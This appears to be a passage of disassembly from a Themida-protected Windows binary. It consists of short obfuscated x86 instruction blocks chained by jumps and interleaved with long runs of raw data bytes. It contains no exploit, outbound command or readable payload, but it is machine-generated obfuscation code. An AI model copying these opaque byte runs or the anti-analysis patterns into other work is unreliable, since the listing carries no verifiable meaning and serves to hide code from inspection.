		db 0E9h, 87h, 59h
		dd 0DF01FFFFh, 74FF575Bh, 8F5F0424h, 815C2404h,	2C6h, 24348700h
		dd 5324248Bh, 0C6EE9h, 24048F00h, 242C895Ch, 9F53F5BDh
		dd 0E9E5D13Fh, 0FFFFE76Fh, 3C68E189h, 89000044h, 4BD242Ch
		dd 81000000h, 9C4A84E9h, 81E9011Eh, 9C4A84C1h, 242C8B1Eh
		dd 8104C483h, 4C1h, 1CE95100h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BEEF:				; CODE XREF: Themida_:005546E5j
		not	edi
		xchg	eax, edi
		shl	eax, 8
		jmp	loc_55DA74
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4EC8324h, 89243C89h,	4B850E7h, 81000000h, 1C3866C7h
		dd 0E9C70110h, 0FFFF697Bh, 53E28952h, 0DF296EBBh, 0EFBDE971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF26:				; CODE XREF: Themida_:0055CE93j
		neg	eax
		shl	eax, 4
		xor	eax, 0FBFDF3BCh
		mov	edx, eax
		pop	eax
		push	ebp
		mov	ebp, 2E8F5A12h
		shr	ebp, 8
		shl	ebp, 5
		neg	ebp
		shl	ebp, 4
		jmp	loc_55B9DC
; ---------------------------------------------------------------------------
		db 51h,	53h, 68h
		dd 68E0629Fh, 59EB815Bh, 894B0A35h, 0CE215BD9h,	83240C8Bh
		dd 0E68104C4h, 4D0122D5h, 2001F681h, 0EC810800h, 4, 0E9243489h
		dd 0FFFFDB0Eh, 5B2434FFh, 8304C483h, 1C8904ECh,	22966824h
		dd 34890000h, 6996BE24h, 0EC8354B5h, 243C8904h,	0FFDFD9E9h
		dd 0C5B050FFh, 69E9C588h, 1FFFFAEh, 59A3E9F0h, 835CFFFFh
		dd 0A1E904ECh, 5200001Bh, 458668h, 0C7FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BFC6:				; CODE XREF: Themida_:00551893j
		push	esi
		jmp	loc_55DBA4
; ---------------------------------------------------------------------------
		dd 0E9D58955h, 0FFFFAFE8h, 6ECE6866h, 24148966h, 0E99C5066h
		dd 0FFFF94A1h, 17DABB53h, 0BBB85AF8h, 317A3523h, 0E0C15BD8h
		dd 7043E903h, 487FFFFh,	0C6815C24h, 5ACA280Bh, 0EE81FE01h
		dd 5ACA280Bh, 2434875Fh, 0E924248Bh, 0FFFFA989h, 0E9243487h
		dd 0FFFF7DDFh, 6F05F001h, 5E107A36h, 0E930FF66h, 0FFFFCC8Eh
		dd 0E95AD601h, 0B3Ch, 4BEh, 0E9F00100h,	1227h, 0EA81C201h
		dd 1AE0657Ah, 0FF84E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C051:				; CODE XREF: Themida_:0055501Ej
		add	ebx, ebp
		pop	ebp
		pop	edx
		jmp	loc_55211F
; ---------------------------------------------------------------------------
		dw 1BBDh
		dd 16F6348h, 0C7815DEFh, 8C9450E9h, 1C42ED81h, 0FD0143E6h
		dd 1C42C581h, 815F43E6h, 2C5h, 4EC8300h, 0FF242C89h, 5D042474h
		dd 0E924048Fh, 0FFFF711Ch, 34E9FB89h, 0F7FFFF7Ah, 0E9F187D6h
		dd 0FFFF6F92h, 0FDBB6653h, 0D3F76670h, 0EC38166h, 0F381662Eh
		dd 6656FD79h, 8966DE89h, 0E95B5EF1h, 985h, 24348153h, 356E2334h
		dd 0FFDF6FE9h, 240C33FFh, 0C8BF0F5Ch, 0FFA861E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C0D9:				; CODE XREF: Themida_:00553EDDj
		add	eax, 61633084h
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		push	10Bh
		mov	[esp], ebp
		push	edi
		mov	edi, 1CEE6B9Ah
		push	ebx
		jmp	loc_552618
; ---------------------------------------------------------------------------
		db 0F7h
		dd 3BF781D7h, 898BA985h, 7707E9FDh, 0E95AFFFFh,	1BA3h
		dd 6624248Bh, 0E9240C89h, 0FFFF56F5h, 4240483h,	0FF588BE9h
		dd 53D104FFh, 0EF8004B7h, 5BF828C3h, 0D6E9C004h, 0BFFFFF97h
		dd 4, 0CCE9F901h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C147:				; CODE XREF: Themida_:00553FD8j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		mov	ecx, 38597804h
		jmp	loc_552757
; ---------------------------------------------------------------------------
		db 0ACh, 0E9h, 0Ch
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C15F:				; CODE XREF: Themida_:00558AB9j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5562EE
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 2Eh
		dd 0D3FFFFFEh, 0E99C240Ch, 0FFFF5699h, 1854EE81h, 70E9CFF2h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C187:				; CODE XREF: Themida_:00555424j
		push	ebx
		mov	ebx, 1E68581Ah
		add	edx, 2A1854CDh
		sub	edx, ebx
		sub	edx, 2A1854CDh
		pop	ebx
		push	0F0Eh
		jmp	loc_558BCD
; ---------------------------------------------------------------------------
		dw 0EB2Dh
		dd 2D170D73h, 3525674Fh, 0FFAD80E9h, 105ABAFFh,	0EAC12536h
		dd 81B85006h, 29C9B090h, 0D33158C2h, 4EC835Ah, 83241489h
		dd 2C8904ECh, 0E2E95224h, 81000010h, 4C2h, 0AD14E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C1E6:				; CODE XREF: Themida_:00557D9Dj
		mov	dx, [esp]
		push	edx
		jmp	loc_555863
; ---------------------------------------------------------------------------
		dd 0FF5620E9h, 14895CFFh, 0E731E924h, 0D821FFFFh, 56241C8Bh
		dd 0C681E689h, 4, 0E904C683h, 0FFFFF91Dh, 8904EC83h, 0EC81241Ch
		dd 4, 57242489h, 4BFh, 247C0100h, 575B5F04h, 0FFA963E9h
		dd 504968FFh, 34890000h, 0DA97E924h, 2C87FFFFh,	89665C24h
		dd 0D1E92404h, 0BD000001h, 71FE1BA9h, 0FF80A0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C259:				; CODE XREF: Themida_:00557312j
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 54h
		add	cl, 60h
		shr	cl, 7
		jmp	loc_5569B0
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFFD70h
; ---------------------------------------------------------------------------


loc_55C274:				; CODE XREF: Themida_:00554901j
		xor	dl, 0B7h
		add	bl, dl
		jmp	loc_55C847
; ---------------------------------------------------------------------------
		dw 0F705h
		dd 5E685B56h, 83241C8Bh, 525504C4h, 14E8E9h, 449A6800h
		dd 34FF4AEFh, 9EE95924h, 100000Ch, 1334E9FAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C2A6:				; CODE XREF: Themida_:0055D774j
		mov	dl, ah
		pop	eax
		push	cx
		mov	ch, 74h
		sub	al, ch
		pop	cx
		sub	al, dl
		push	ecx
		push	ebx
		mov	bh, 61h
		not	bh
		shr	bh, 1
		jmp	loc_557D92
; ---------------------------------------------------------------------------


loc_55C2C0:				; CODE XREF: Themida_:005526A9j
		push	64782790h
		pop	edi
		add	edi, 0D06742A7h
		mov	ebp, edi
		pop	edi
		push	2AEBh
		mov	[esp], edi
		mov	edi, 1BE96E2Ah
		add	ebp, edi
		jmp	loc_558957
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C48100h, 83000000h, 276804C4h, 0E900002Ch, 0FFFFF2F3h
		dd 24348B54h, 4C481h, 0BB530000h, 34AB2734h, 8103E3C1h
		dd 5939A4F3h, 5BDE01A5h, 5D98E952h, 0C601FFFFh,	0F9E95058h
		dd 55FFFFDBh, 277F36BDh, 0C5814D11h, 1A7DA8E1h,	2C8BE809h
		dd 4C48124h, 35000000h,	636F6278h, 0C37EE950h, 0E951FFFFh
		dd 0EE4h, 0E9243431h, 0FFFFAC93h, 68505147h, 0FE00E26h
		dd 64713558h, 0A3E902CAh
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C36B:				; CODE XREF: Themida_:0055913Ej
		movsx	ecx, al
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		push	edi
		mov	edi, 7F8F2609h
		or	edi, 6A84568Bh
		push	edx
		jmp	loc_55D94E
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFFC3Ch
; ---------------------------------------------------------------------------


loc_55C390:				; CODE XREF: Themida_:00553508j
		mov	[esp], ecx
		jmp	loc_5568B0
; ---------------------------------------------------------------------------
		dd 0E1BF57ADh, 81376405h, 0D2347FC7h, 6FDDE955h, 0E1D0FFFFh
		dd 1BE95066h, 5DFFFFF3h, 315FFB29h, 5457E9C2h, 0CF88FFFFh
		dd 66F93059h, 8413E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C3CA:				; CODE XREF: Themida_:0055A1EBj
		not	ebx
		push	eax
		sub	esp, 4
		jmp	loc_55B8F4
; ---------------------------------------------------------------------------
		dd 155FE9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C3DE:				; CODE XREF: Themida_:00554687j
		add	ebp, edx
		pop	edx
		jmp	loc_553C56
; ---------------------------------------------------------------------------


loc_55C3E6:				; CODE XREF: Themida_:00554647j
		pop	esi
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5591F3
; ---------------------------------------------------------------------------
		db 31h
		dd 0A8E95DEAh, 57FFFFC1h, 366E954h, 0C5280000h,	24048B66h
		dd 0FFC7B8E9h, 5AF000FFh, 0EC815166h, 4, 0E9240489h, 0FFFFF622h
		dd 0FF53F0E9h, 0FFD329FFh, 148B2434h, 4C48124h,	81000000h
		dd 4C4h, 2BDB6800h, 34890000h, 0DFBBE24h, 0F3297B7Dh, 0FFBFE0E9h
		dd 84E951FFh, 4B000010h, 2A47E381h, 0E3812EBDh,	4DD0553Bh
		dd 1C381h, 0DA01F380h, 2414875Bh, 0C0B60F5Ch, 0FF8734FFh
		dd 0E9582434h, 0FFFFFD98h, 0E937EE80h, 0FFFFC226h, 8904EC83h
		dd 4BB241Ch, 1000000h, 2434FFDAh, 0D6E2E95Bh, 8150FFFFh
		dd 69742434h, 0E9594E40h, 0FFFFDEABh, 0E981E929h, 45110114h
		dd 0FF5F76E9h, 348758FFh, 89525C24h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 1315E95Ch, 77FF0000h, 0FA20E93Ch, 0D929FFFFh
		dd 0E9CB295Bh, 0FFFFF2B7h, 0E958C329h, 0FFFF9B3Bh, 0EC61E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C4F2:				; CODE XREF: Themida_:00553488j
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_5598D4
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0B35h, 0CD1E95Fh, 0BA520000h, 0D9529CDh
		dd 554ADAF7h, 5F68BCBDh, 68C58153h, 31BAD2DDh, 0F2815DEAh
		dd 3F924D0h, 0B4C2EA81h, 0D001FFA1h, 4BD555Ah, 29000000h
		dd 0A8E95DE8h, 66FFFFDFh, 10B45052h, 20E9FDB6h,	8BFFFFB3h
		dd 0C4832434h, 2C18104h, 68000000h, 2D94h, 0FF240C89h
		dd 59042474h, 0FFCBAAE9h, 241C89FFh, 8904EC83h,	20E92414h
		dd 0FFFFFF55h, 0C8B2434h, 57B3E924h, 0D868FFFFh, 0E9000004h
		dd 0FFFFD763h, 0BD4C581h, 0F50101E4h, 0BD4ED81h, 35E901E4h
		dd 0FFFFFFECh, 669D1C77h, 4196658h, 62E99C24h, 0B2FFFF52h
		dd 5AD1281Ch, 73E94A04h, 8BFFFFD3h, 0C483240Ch,	2E3C104h
		dd 0FF91B0E9h, 815F54FFh, 4C7h,	0EB67E900h, 0F781FFFFh
		dd 2BCB241Dh, 0FF5DA3E9h, 0E9E789FFh, 0FFFF5E9Bh, 80DD0058h
		dd 1C8BFEC5h, 4C48124h,	81000000h, 2ECh, 0DAFFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C606:				; CODE XREF: Themida_:00557052j
		push	dword ptr [edx]
		jmp	loc_55D3A5
; ---------------------------------------------------------------------------
		db 68h,	4Fh, 5Fh
		dd 15E17E9h, 0D4B4E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C61A:				; CODE XREF: Themida_:00555C5Bj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7B8A633Dh
		add	esi, 84759CC7h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55C6A1
; ---------------------------------------------------------------------------
		dw 0C301h
aXhI		db 'Xhµi',0
		align 2
		dw 30E9h
		dd 81FFFF81h, 8619EFC9h, 0AEE9810Fh, 891EAC8Eh,	23E959CAh
		dd 8BFFFF8Dh, 8FE92404h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C677:				; CODE XREF: Themida_:0055CC9Dj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jnz	loc_55CD46
		push	1
		jmp	loc_557E83
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0AE9240Ch, 52FFFFD6h, 0FFD118E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C6A1:				; CODE XREF: Themida_:0055C649j
		mov	esp, [esp]
		shr	ecx, 7
		push	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_554E41
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18300h, 0E9240C87h, 0FFFFA536h, 82DD801h, 8B589D67h
		dd 0C481241Ch, 4, 5A99B951h, 0E0E948B7h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C6DF:				; CODE XREF: Themida_:0055740Cj
		push	ebx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	ecx
		pop	ebx
		push	ebx
		sub	dword ptr [esp], 7F882A59h
		jmp	loc_55D7D0
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 7F26248Fh, 76E9D089h, 0BFFFFB1h, 0B1840FC9h,	54FFFF84h
		dd 0FFE30EE9h, 348B5DFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5546BA
; ---------------------------------------------------------------------------


loc_55C71D:				; CODE XREF: Themida_:00559A19j
		jmp	loc_551815
; ---------------------------------------------------------------------------
		dw 0FFBFh
aVsns		db 'VèNé ',9,0
		align 4
		dd 42474FFh, 24048F5Eh,	0FF7A06E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C739:				; CODE XREF: Themida_:0055DB33j
		mov	edi, ebx
		pop	ebx
		shr	edi, 8
		push	ebp
		mov	ebp, 45F5F2A4h
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edi
		pop	edi
		add	eax, 16031CDDh
		sub	eax, edi
		sub	eax, 16031CDDh
		jmp	loc_55B66D
; ---------------------------------------------------------------------------


loc_55C761:				; CODE XREF: Themida_:00558BE3j
		mov	esi, esp
		jmp	loc_558885
; ---------------------------------------------------------------------------
		dd 4EC815Fh, 89000000h,	18BB241Ch, 5636BE65h, 65A5BD55h
		dd 0EE8940ADh, 0BBE6815Dh, 815B0538h, 977FFAF6h, 4FF68127h
		dd 29512C3Ah, 0DF015EF3h, 83241C8Bh, 0BA5204C4h, 6A1F39C2h
		dd 8102E2C1h, 7CE70AF2h, 98C781A8h, 145487Ah, 98EF81D7h
		dd 5A45487Ah, 8B243C87h, 0CD22424h, 4AE99C24h, 89FFFF50h
		dd 0E9FA89EFh, 0FFFFFBB6h, 0E9242C89h, 0FFFF8507h
; ---------------------------------------------------------------------------


loc_55C7DC:				; CODE XREF: Themida_:0055D22Fj
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557814
; ---------------------------------------------------------------------------
		db 89h
		dd 0DA015AD3h, 92BF575Bh, 5344260Dh, 0B3761ABBh, 0E9DF3111h
		dd 0FFFFC3E0h, 0C1664E66h, 816604EEh, 660F77EEh, 2EF6CE81h
		dd 66DEF766h, 0C8B86650h, 3C0D6651h, 0BF665750h, 816610B7h
		dd 0E95D02CFh, 0FFFF73BDh, 5E08950h, 4,	3304C083h, 15E92404h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55C847:				; CODE XREF: Themida_:0055C279j
		pop	edx
		pop	eax
		add	bl, al
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ax
		mov	ah, 0EAh
		add	bl, ah
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55C870:				; CODE XREF: Themida_:00557E7Ej
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_552C77
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFC4EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C885:				; CODE XREF: Themida_:0055D1BEj
		push	esi
		mov	esi, 243C2EB7h
		jmp	loc_55D478
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 52DD8824h, 7488EE88h, 8B5A0187h
		dd 2AE9240Ch
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C8AB:				; CODE XREF: Themida_:005519A7j
		jmp	loc_551815
; ---------------------------------------------------------------------------
		dd 0F580D5F6h, 0E9F02CC1h, 0FFFFEA0Bh, 0C681E689h, 4, 4C681h
		dd 34870000h, 56525C24h, 143968h, 9547E900h, 335AFFFFh
		dd 0C31240Ch, 240C3324h, 0E924248Bh, 0FFFFC7BDh, 4BDh
		dd 0E9E82900h, 0FFFF607Ch, 1ED81h, 0D5F70000h, 0B8B4ED81h
		dd 0EF89AF0Bh, 0E9FA015Dh, 0FFFFE2D3h, 5766AD66h, 0FF6300E9h
		dd 0A3B353FFh, 0FF537BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C921:				; CODE XREF: Themida_:00554868j
		add	ebx, 37100906h
		sub	ebx, eax
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		push	74341128h
		mov	ebp, [esp]
		push	ebp
		jmp	loc_55CEFD
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 48C38104h, 8970356Ah, 6BD8E9D8h, 248BFFFFh, 4FBDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C956:				; CODE XREF: Themida_:00552088j
		shl	edi, 6
		jmp	loc_55BD39
; ---------------------------------------------------------------------------
		dw 5A04h
		dd 1068002Ch, 0E9000079h, 0FFFFE776h, 3DFBB53h,	0A0E91A04h
		dd 81000006h, 4ECh, 24048900h, 40BCB951h, 4C2946D4h, 58590424h
		dd 0FF6169E9h, 0E9E700FFh, 0FFFFFCD7h, 240C8B66h, 6E5EE952h
		dd 4F4FFFFFh, 82AF781h,	0FA014026h, 0E9243C8Bh,	0FFFF842Fh
		dd 4C5815Ch, 57000000h,	4BFh, 9EC58100h, 29189D40h, 9EED81FDh
		dd 5F189D40h, 0FFDA37E9h, 0E68956FFh, 4C681h, 0C6810000h
		dd 4, 0E9243487h, 0FFFF9FE9h, 5C24048Fh, 240CD366h, 9A94E99Ch
		dd 8146FFFFh, 83CCB4EEh, 5EF2292Bh, 0FFE3ACE9h,	8B665CFFh
		dd 55E92404h, 0C1FFFF59h, 0DCE908EDh, 0BEFFFF7Dh, 25980A9Fh
		dd 8394E94Eh, 0E957FFFFh, 0FFFF55E8h, 0E9240487h, 0FFFF7852h
; ---------------------------------------------------------------------------


loc_55CA34:				; CODE XREF: Themida_:00551B3Fj
		shl	ecx, 5
		push	ebx
		mov	ebx, 140A77C5h
		or	ecx, ebx
		pop	ebx
		jmp	loc_555FCD
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0D9h
		dd 0A2F18166h, 9BB4E964h, 0BB53FFFFh, 2, 0FF6E87E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CA5D:				; CODE XREF: Themida_:00558568j
		xchg	edx, [esp]
		pop	esp
		pop	esi
		jmp	loc_554360
; ---------------------------------------------------------------------------
		db 28h
		dd 240C8BEBh, 4C481h, 0C3280000h, 5585450h, 4, 8704E883h
		dd 5AE92404h, 5EFFFF57h, 0EBBD5557h, 14DB007h, 0E904246Ch
		dd 0F84h, 15FF801h, 75B1E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CAA2:				; CODE XREF: Themida_:00553613j
		mov	[esp], eax
		push	ebx
		push	5A11368Ch
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55308B
; ---------------------------------------------------------------------------
		db 51h,	88h, 0F1h
		dd 88CC8850h, 885958E3h, 148B5BD9h, 0BAE9E924h,	42E9FFFFh
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CAD3:				; CODE XREF: Themida_:0055CCB7j
		xchg	ebp, [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------
		db 0C1h
		dd 81042467h, 4455244Fh, 4781786Fh, 0CD1DBE24h,	24778139h
		dd 0CEAB77AFh, 0E9245F31h, 0FFFF5CB6h
; ---------------------------------------------------------------------------


loc_55CB04:				; CODE XREF: Themida_:00552267j
		sub	edx, 3AA76DFAh
		mov	edi, edx
		pop	edx
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_551815
; ---------------------------------------------------------------------------
		db 50h
		dd 86E5E953h, 4BFFFFFh,	1000000h, 0E9525FFEh, 0FFFFCD91h
; ---------------------------------------------------------------------------


loc_55CB30:				; CODE XREF: Themida_:00559C17j
		push	66E0h
		mov	[esp], edx
		push	2
		jmp	loc_557E22
; ---------------------------------------------------------------------------
		dw 215Ah
		dd 0E9C15FF9h, 5A01E900h, 0C381FFFFh, 2, 0E9241C33h, 0FFFFED56h
		dd 33240431h, 248B2404h, 24048F24h, 0FFD0ECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CB6D:				; CODE XREF: Themida_:00553C95j
		push	ecx
		push	ebx
		jmp	loc_55DA2C
; ---------------------------------------------------------------------------
		dd 8704C683h, 248B2434h, 24043124h, 4C8FE99Ch, 0C7FEFFFFh
		dd 28C0F780h, 0D1F65BF9h, 0C180D9F6h, 0CA8852E1h, 0E9D58851h
		dd 0FFFF52DFh, 240C8B66h, 57E18951h, 4BFh, 2CE98100h, 81266A78h
		dd 1C77ACC1h, 81F90131h, 1C77ACE9h, 24E95531h, 0B8FFFFDAh
		dd 4, 0FFC5E8E9h, 0B6525AFFh, 0E631E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CBDA:				; CODE XREF: Themida_:00551E6Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	2533h
		mov	[esp], ebx
		jmp	loc_55B682
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FF89C2E9h, 95C381FFh, 21722783h, 0E9C15BD9h, 4EC8106h
		dd 89000000h, 0E789243Ch, 4C781h, 22E90000h, 0BDFFFF5Bh
		dd 1DC04B48h, 0EF5D0905h, 0D79AE96Eh, 8B66FFFFh, 8956240Ch
		dd 8FE957E6h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC37:				; CODE XREF: Themida_:0055D902j
		push	eax
		jmp	loc_557639
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFDEC3E9h, 241C89FFh, 4BBh,	0FFDA8900h, 0ABE92434h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC57:				; CODE XREF: Themida_:0055181Aj
		push	eax
		mov	ah, 0B0h
		push	edx
		jmp	loc_555DC1
; ---------------------------------------------------------------------------
		dd 405h, 4685700h, 5F000000h, 875FF801h, 0F7E92404h, 8BFFFF4Ch
		dd 2CE92414h, 5CFFFFA1h, 24C568h, 6995E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC8A:				; CODE XREF: Themida_:00558DBDj
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	eax
		jmp	loc_55C677
; ---------------------------------------------------------------------------


loc_55CCA2:				; CODE XREF: Themida_:005525B9j
		mov	edi, 4
		sub	ecx, 6B891C75h
		add	ecx, edi
		jmp	loc_551898
; ---------------------------------------------------------------------------


loc_55CCB4:				; CODE XREF: Themida_:00557E28j
		add	esp, 4
		jmp	loc_55CAD3
; ---------------------------------------------------------------------------
		dd 8878F280h, 0FD885AD7h, 59EA885Bh, 0FF8A2BE9h, 48F5BFFh
		dd 0C3895C24h, 1D6B2D58h, 0D8290CDCh, 0DC1D6B05h, 0EC835B0Ch
		dd 7441E904h, 0C281FFFFh, 4, 4EC81h, 0D5E90000h, 33FFFF52h
		dd 248B241Ch, 7294E924h, 31ADFFFFh, 0BAB68D8h, 1C890000h
		dd 7AE95124h, 81FFFFF5h, 42404h, 148B0000h, 4C48124h, 81000000h
		dd 4C2h, 991E900h, 0C1380000h, 4ADBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD3A:				; CODE XREF: Themida_:0055BA69j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_55CD46:				; CODE XREF: Themida_:005553F6j
					; Themida_:0055C682j
		push	dword ptr [edi+24h]
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	47A3h
		mov	[esp], esi
		push	208946D7h
		jmp	loc_55875A
; ---------------------------------------------------------------------------
		db 58h,	81h, 44h
		dd 717C0424h, 8B583308h, 8957240Ch, 0C45FE9E7h,	0C481FFFFh
		dd 4, 3CD8BE56h, 0C6813127h, 4D233BDh, 555EF531h, 2C8B008Fh
		dd 0E3895324h, 25468h, 24348900h, 4BEh,	6F9AE900h, 0C681FFFFh
		dd 4, 0FFD4C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CDB1:				; CODE XREF: Themida_:005536D7j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5527F5
; ---------------------------------------------------------------------------
		db 58h
		dd 34FFD029h, 0AE95A24h, 89FFFFFCh, 4BA2414h, 57000000h
		dd 7D7BBA52h, 0E281137Ah, 57380975h, 56F9F281h,	0E2813358h
		dd 49135453h, 0EA81D2F7h, 84B77DE4h, 3CE9D789h,	80FFFF96h
		dd 525184C3h, 0E953C688h, 0FFFFFCB1h, 1FAAC281h, 0DDE91166h
		dd 0FFFFFF55h, 56582434h, 84E9E689h, 88FFFF59h,	0D9F658E1h
		dd 0E903E1C0h, 0DEFh
; ---------------------------------------------------------------------------


loc_55CE2C:				; CODE XREF: Themida_:00559630j
		add	esi, 4
		jmp	loc_552047
; ---------------------------------------------------------------------------
		db 2Dh
		dd 1E4129B5h, 0CBE4E95Fh, 248BFFFFh, 241C8924h,	4FB5BF57h
		dd 0FB894E58h, 0E92434FFh, 0FFFF5ECEh, 0DE885866h, 0FF8143E9h
		dd 243C89FFh, 4515A4BFh, 5EE95643h, 83FFFF9Ch, 2C8904ECh
		dd 56E58924h, 13A568h, 9C7EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE82:				; CODE XREF: Themida_:00557652j
		pop	ecx
		push	ebx
		jmp	loc_55671C
; ---------------------------------------------------------------------------


loc_55CE89:				; CODE XREF: Themida_:005542E4j
		jmp	loc_55D128
; ---------------------------------------------------------------------------


loc_55CE8E:				; CODE XREF: Themida_:00554B87j
		and	eax, 396125E8h
		jmp	loc_55BF26
; ---------------------------------------------------------------------------


loc_55CE98:				; CODE XREF: Themida_:0055B2B8j
		xor	esi, 377E0CDDh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55A39D
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C4h
		dd 4, 0FF4960E9h, 4E983FFh, 8B240C87h, 3C892424h, 0E95F5424h
		dd 0FFFF66B1h, 0E9240433h, 0FFFFA1CAh, 338ECE81h, 0C6814219h
		dd 0F61627CCh, 1CE9F329h, 51FFFF54h, 807CB450h,	68E96FCCh
		dd 81FFFFBFh, 4C4h, 0E2895200h,	16AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CEFD:				; CODE XREF: Themida_:0055C939j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		pop	edi
		pop	ebp
		jmp	loc_5524AF
; ---------------------------------------------------------------------------
		db 56h
		dd 764F5BBEh, 8BF72129h, 0C4812434h, 4,	0D2F7D787h, 0FFC7B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CF31:				; CODE XREF: Themida_:00554887j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_551B39
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6278C181h, 0E9810A7Bh, 3BF972C5h, 2434FF51h,	4C4835Bh
		dd 592434FFh, 104C483h,	0F01AE9D8h, 5558FFFFh, 4BDh, 7569E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


